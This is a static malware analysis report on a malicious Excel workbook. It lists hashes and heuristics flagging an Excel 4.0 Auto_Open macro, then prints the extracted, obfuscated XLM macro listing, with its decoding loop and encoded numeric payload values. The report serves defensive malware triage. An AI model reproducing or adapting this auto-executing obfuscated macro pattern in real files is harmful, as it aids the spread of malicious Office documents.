Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dc54ac5ee23f844…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:18 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: d078cb20ee8c7e1c7dcd10a67f554ee5 SHA-1: f6fa71f89865c7a132dfab7a483834b8e78782bf SHA-256: 8dc54ac5ee23f84428a1db0ff7d01ca4ef2ac63c9a6e7120fa848221dd1aac9f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6776 bytes
SHA-256: 978e8fc9842b95d23e5b084a8d5b6e6a8ab74e2b099d033dea208da0af48a743
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BCIeQVY
' 0018     22 LABEL : Cell Value, String Constant - ajQnBYr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A159 
' 0018     27 LABEL : Cell Value, String Constant - aXtgUwbRzflo len=0 
' 0018     24 LABEL : Cell Value, String Constant - CcimQTNrV len=0 
' 0018     22 LABEL : Cell Value, String Constant - DRaoAgb len=0 
' 0018     22 LABEL : Cell Value, String Constant - FMafEcH len=0 
' 0018     20 LABEL : Cell Value, String Constant - fouCG len=0 
' 0018     27 LABEL : Cell Value, String Constant - FZccJNlWaxKm len=0 
' 0018     22 LABEL : Cell Value, String Constant - IciMTdA len=0 
' 0018     23 LABEL : Cell Value, String Constant - IuhsyUaY len=0 
' 0018     23 LABEL : Cell Value, String Constant - LYbSiysY len=0 
' 0018     27 LABEL : Cell Value, String Constant - MJrdXPkyOcjR len=0 
' 0018     20 LABEL : Cell Value, String Constant - nDNjb len=0 
' 0018     22 LABEL : Cell Value, String Constant - NEYnuEp len=0 
' 0018     26 LABEL : Cell Value, String Constant - odNgdTDkRmL len=0 
' 0018     22 LABEL : Cell Value, String Constant - qgYaExU len=0 
' 0018     24 LABEL : Cell Value, String Constant - QrwnqnOuE len=0 
' 0018     22 LABEL : Cell Value, String Constant - SANdGqJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - uhPNaVypGmUh len=0 
' 0018     22 LABEL : Cell Value, String Constant - UYzkCsM len=0 
' 0018     23 LABEL : Cell Value, String Constant - WjQXfrqW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BCIeQVY,T62,"",664.00000000000000000000
'  BCIeQVY,T63,"",820.00000000000000000000
'  BCIeQVY,T64,"",-411.00000000000000000000
'  BCIeQVY,T65,"",-983.00000000000000000000
'  BCIeQVY,T66,"",-713.00000000000000000000
'  BCIeQVY,T67,"",-197.00000000000000000000
'  BCIeQVY,A70,"SET.NAME("aXtgUwbRzflo",0+VALUE("0"))",""
'  BCIeQVY,A73,"SET.NAME("QrwnqnOuE",aXtgUwbRzflo)",""
'  BCIeQVY,A75,"SET.NAME("SANdGqJ",aXtgUwbRzflo)",""
'  BCIeQVY,A78,"SET.NAME("NEYnuEp",COUNTA(uhPNaVypGmUh))",""
'  BCIeQVY,A80,"SET.NAME("ajQnBYr",COUNTA(WjQXfrqW))",""
'  BCIeQVY,A83,[],""
'  BCIeQVY,A87,"SET.NAME("CcimQTNrV","")",""
'  BCIeQVY,A89,"QrwnqnOuE",""
'  BCIeQVY,A91,"SET.NAME("IciMTdA",HLOOKUP("*",uhPNaVypGmUh,QrwnqnOuE,FALSE))",""
'  BCIeQVY,A96,"nDNjb",""
'  BCIeQVY,A98,"SET.NAME("DRaoAgb",aXtgUwbRzflo)",""
'  BCIeQVY,A103,[],""
'  BCIeQVY,A107,"DRaoAgb",""
'  BCIeQVY,A111,"MJrdXPkyOcjR",""
'  BCIeQVY,A115,"qgYaExU",""
'  BCIeQVY,A119,"fouCG",""
'  BCIeQVY,A122,"SET.NAME("FMafEcH",VALUE(HLOOKUP("*",WjQXfrqW,fouCG,FALSE)))",""
'  BCIeQVY,A125,"IuhsyUaY",""
'  BCIeQVY,A128,"CcimQTNrV",""
'  BCIeQVY,A132,"SANdGqJ",""
'  BCIeQVY,A134,NEXT(),""
'  BCIeQVY,A137,"UYzkCsM",""
'  BCIeQVY,A142,[],""
'  BCIeQVY,A147,"LYbSiysY",""
'  BCIeQVY,A151,NEXT(),""
'  BCIeQVY,A155,RETURN(),""
'  BCIeQVY,A186,"SET.NAME("FZccJNlWaxKm",A70)",""
'  BCIeQVY,A191,"uhPNaVypGmUh",""
'  BCIeQVY,A193,"SET.NAME("WjQXfrqW",R43C14)",""
'  BCIeQVY,A197,"SET.NAME("LYbSiysY",205)",""
'  BCIeQVY,A202,"SET.NAME("odNgdTDkRmL",1)",""
'  BCIeQVY,A204,FZccJNlWaxKm(),""
'  BCIeQVY,A205,HALT(),""

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